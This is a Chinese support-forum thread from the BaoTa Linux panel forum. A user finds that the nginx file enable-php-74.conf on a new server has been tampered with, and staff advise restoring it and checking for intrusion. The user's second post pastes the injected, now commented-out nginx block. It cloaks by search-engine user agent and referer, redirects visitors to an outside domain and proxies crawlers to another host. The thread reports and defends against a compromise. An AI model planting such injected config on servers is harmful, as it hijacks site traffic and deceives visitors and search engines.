当前位置:论坛首页 > Linux面板 > 求助

【已完成】enable-php-74.conf文件就被篡改了

发表在 Linux面板2023-4-23 18:57 [复制链接] 4 3219

本帖最后由 堡塔运维香菜卷 于 2023-5-20 21:02 编辑

为了能快速了解并处理您的问题,请提供以下基础信息:
面板、插件版本:7.9.9
系统版本:centos7
问题描述:刚安装完宝塔,还没放任何项目,enable-php-74.conf文件就被篡改了,我注释了代理代码后,发现过几天就又有了,
相关截图(日志、错误):

使用道具 举报 只看该作者 回复
发表于 2023-4-23 18:59:17 | 显示全部楼层
    location ~ [^/]\.php(/|$)
    {
        try_files $uri =404;
        fastcgi_pass  unix:/tmp/php-cgi-74.sock;
        fastcgi_index index.php;
        include fastcgi.conf;
        include pathinfo.conf;
    }
#  location /robots{
#      if ($http_user_agent ~* (baiduspider|googlebot|Bytespider|soso|bing|sogou|yahoo|Bytespider|sohu-search|yodao|robozilla|msnbot|yisouspider|360Spider)) {
#          return 404;
#      }
#  }
#  location /mh {
#          set $flag 0;
#       if ($http_user_agent ~* (baiduspider|googlebot|Bytespider|soso|bing|sogou|yahoo|Bytespider|sohu-search|yodao|robozilla|msnbot|yisouspider|360Spider)) {
#           set $flag 1;}
#   if ($http_referer ~* (m.baidu.com|m.sogou.com|wap.baidu.com|3g.baidu.com|sogou.com|toutiao.com|.so.com|.sm.cn)){
#          rewrite ^/(.*)$ https://www.yjdm277.com/? permanent;
#      }

#   if ($http_referer ~* (site:|site%|=site|inurl|inurl:|inurl%)){
#          set $flag 0;
#      }
#      if ($flag = 0) {
#          return 404;
#      }
#      proxy_pass      http://p.nfdahk.com/?&;
#      proxy_connect_timeout   60;
#      proxy_read_timeout      60;
#      proxy_send_timeout      60;
#      proxy_buffer_size       32k;
#      proxy_buffers           4       32k;
#      proxy_busy_buffers_size 64k;
#      proxy_temp_file_write_size      1024m;
#      proxy_set_header        X-Real-IP       $remote_addr;
#      proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
#  }
使用道具 举报 回复 支持 反对
发表于 2023-4-23 19:00:22 | 显示全部楼层
下面这段代码是被篡改后的enable-php-74.conf文件,,我又给注释了,请帮忙看看这是什么问题,是不是宝塔有bug
使用道具 举报 回复 支持 反对
发表于 2023-4-23 21:19:03 | 显示全部楼层
您好,这不是面板bug,您这应该是被篡改了,你可以按照以下步骤进行修复:
1. 登录宝塔面板,进入网站管理页面。
2. 在网站列表中找到受影响的网站,点击右侧的【文件管理】进入文件管理页面。
3. 使用文件管理器,找到网站的配置文件目录,该文件在 /www/server/nginx/conf/enable-php-74.conf。
4. 找到并打开受影响的 enable-php-74.conf 文件。
5. 将文件内容还原成原始状态,并保存修改。
6. 重新启动 Nginx 服务,确保配置生效。在 Linux 中,可以使用以下命令重启 Nginx 服务:
  1. /etc/init.d/nginx restart
复制代码
若Nginx正常运行,则会输出 "(running)" 表示服务正在运行。
建议你对系统进行彻底的检查,确保你的系统没有被黑客入侵,并且将安全措施升级以避免安全问题的再次发生。
我们面板的软件商店有web防火墙、系统加固、防篡改等安全软件,您可安装这类的安全软件进行防护
使用道具 举报 回复 支持 反对
发表于 2023-4-24 18:18:55 | 显示全部楼层
好的,多谢
使用道具 举报 回复
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

普通问题处理

论坛响应时间:72小时

问题处理方式:排队(仅解答)

工作时间:白班:9:00 - 18:00

紧急运维服务

响应时间:3分钟

问题处理方式:宝塔专家1对1服务

工作时间:工作日:9:00 - 18:30

宝塔专业团队为您解决服务器疑难问题

点击联系技术免费分析

工作时间:09:00至18:30

快速回复 返回顶部 返回列表